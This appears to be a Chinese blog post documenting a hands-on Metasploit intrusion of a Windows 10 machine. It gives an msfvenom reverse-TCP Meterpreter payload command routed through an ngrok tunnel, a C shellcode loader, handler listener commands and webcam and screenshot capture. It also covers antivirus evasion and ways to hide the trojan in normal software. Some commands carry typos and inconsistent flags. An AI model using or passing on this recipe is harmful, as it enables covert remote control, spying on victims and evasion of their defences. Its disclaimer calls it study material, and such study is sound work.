注:此内容不得用于违法活动,仅供学习交流使用~
最近在学习metaspolit,参考几个大佬的博客,整理实测了metespolit一次渗透~
0X01、木马检测原理
杀毒软件判断病毒木马的方式如下:
-
特征库扫描法:检查文件中是否存在与常见病毒相同的代码。如果匹配,则说明存在病毒。由于该方法较慢,因此现在一般使用通配符扫描法进行代替。
-
云扫描法:将可疑文件上传到云服务器进行检查。需要网络连接。
-
虚拟机脱壳法:使用虚拟机引擎进行文件脱壳(仅支持部分壳类型)。脱壳后的文件将会进一步接受上两种扫描方式的检查。
0X02、环境准备
操作系统 | 用途 | ip地址 |
---|---|---|
win10 | 被控制的机器 | 略 |
虚拟机kali | 攻击机 | 192.168.214.129 |
需要使用的软件:
- metaspolit
- msfconsole
- codeblocks
- 内网穿透工具
Hint:前两个kali自带,我用的kali版本为17.01版本
0X03、内网穿透配置
这里使用freebuf一个大佬推荐的工具https://www.ngrok.cc
注册用户->开通隧道->选择ngrok服务器->配置
完成图如下:
配置ip和端口的时候,对应的是攻击机的ip,以及发动攻击的端口(任选,别冲突就行),kali使用ifconfig即可查看ip
将下载的(我选择的是linux-x64)服务端放到相应目录下,命令
./sunny clientid 隧道id
启动
0X04、制作木马后门
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 12 -b ‘\x00’ lhost=free.ngrok.cc lport=xxxxx -f c
- windows/meterpreter/reverse_tcp ->大体看出来这是windows下的tcp的一个漏洞(强大的Metaspoit自带多种漏洞,需要什么自行百度就ok)
- -e x86/shikata_ga_nai ->这是编码方式(我的windows7是64位的,所以要选择对应的编码格式。否则,生成可执行文件再打开时就会出现错误!)
- -i 5 ->编码次数
- -b ->就是避免出现的值
- -f exe ->生成.exe的可执行文件
- asd.exe > 文件名.exe
- LHOST ->这是填写自己本机的IP(因为这种木马是用反弹机制)
- LPORT ->填写自己的端口
#include <stdio.h>
unsignedchar buf[] =
"buf数组";//将复制的数组粘贴到此处
void main()
{
((void(*)(void))&buf)();
}
这里我使用的是codeblocks,build后得到exe
启动端口监听
保持之前那个内网穿透服务,重开一个控制台,启动msfconsole
命令如下:
msfconsole
use exploit/multi/handler
set payloadswindows/meterpreter/reverset_tcp
set lhost 192.168.214.129
set lport 12340
exploit
被攻击机启动exe
成功渗透
两个好玩的命令:
操作系统 | 用途 |
---|---|
webcam_snap | 拍照 |
截屏 | screenshot |
其他一些好玩的内容可见我的另一个博客
一些结论和思考
- 关于病毒的测试:
- qq传输文件不报病毒
- 360文件检测显示为未知文件,运行不报毒
- windows defender文件检测报毒,运行时会强制删除文件
- 关于免杀
- 因为windows defender的报毒,特地查了一些资料,感觉免杀的思路都是从编码角度,及加自定义壳来思考的
- 关于隐藏木马
- 考虑添加自启动,运行不显示窗口,在正常软件中加入生成木马的脚本,常驻系统内存等等
- 思考
- 从个人安全角度来说, 少从为知,不安全的地方下载一些不明软件~